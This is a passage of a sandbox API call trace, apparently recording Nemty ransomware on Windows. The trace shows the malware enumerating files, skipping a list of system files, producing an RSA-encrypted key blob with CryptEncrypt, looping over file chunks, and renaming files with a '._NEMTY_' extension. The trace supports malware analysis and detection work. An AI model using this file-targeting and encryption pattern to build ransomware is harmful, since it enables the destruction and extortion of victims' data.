lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.574] CloseHandle (hObject=0xffffffff) returned 0 [0165.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0165.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0165.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0165.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0165.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_few-showers.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_few-showers.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_few-showers.png._nemty_kgobjgd_")) returned 0 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.575] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2=".") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="..") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="...") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="windows") returned -1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="$RECYCLE.BIN") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="rsa") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="NTDETECT.COM") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="ntldr") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="MSDOS.SYS") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="IO.SYS") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="boot.ini") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="boot.ini") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="ntuser.dat") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="desktop.ini") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="CONFIG.SYS") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="RECYCLER") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="BOOTSECT.BAK") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="bootmgr") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="programdata") returned 1 [0165.575] lstrcmpiW (lpString1="undocked_black_foggy.png", lpString2="appdata") returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_foggy.png", lpUsedDefaultChar=0x0) returned 24 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_foggy.png", lpUsedDefaultChar=0x0) returned 24 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_foggy.png", lpUsedDefaultChar=0x0) returned 24 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_foggy.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_foggy.png", lpUsedDefaultChar=0x0) returned 24 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0165.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0165.576] Sleep (dwMilliseconds=0x5) [0165.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1658e850, dwHighDateTime=0x1d561e8)) [0165.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1658e850, dwHighDateTime=0x1d561e8)) [0165.592] GetLastError () returned 0x5 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.592] GetLastError () returned 0x5 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.592] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.592] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.592] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340250 [0165.592] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340250, pcchString=0x653e91c | out: pszString="g7Zk0B7MH0ofIigCYSCWYTEDVVhuWxdgyMuTg9g+YK2NGtVwvrkSuDpM2WHY8blw\r\nixyx3icx/snCxPZVROQdgbJyYPwu1EorFcUl5UxTKqxdKweZZo+mFbpvrN1rvb0I\r\n32IJzYpiHuZv2nDfGPNu3dGdRbS7PmpRx5lWPdZ9lp5H94GJlMU4VVu74zHwbF5y\r\nNNbsvcmOrBW6oPOy8QdSa8nWvkllFqU5UtvJ/u6OvLhpV1Qi2j0VIKx5L0mfDVfK\r\nbPXCPVBmcYbfugU1FIy1krdKl065dARod/KabC0+2K5L1qncT8PYU4F1O1HiynHk\r\n39rNM+3Xzjrgc5ADM5QnaQ==\r\n", pcchString=0x653e91c) returned 1 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0165.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340250 [0165.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.592] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_foggy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.593] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 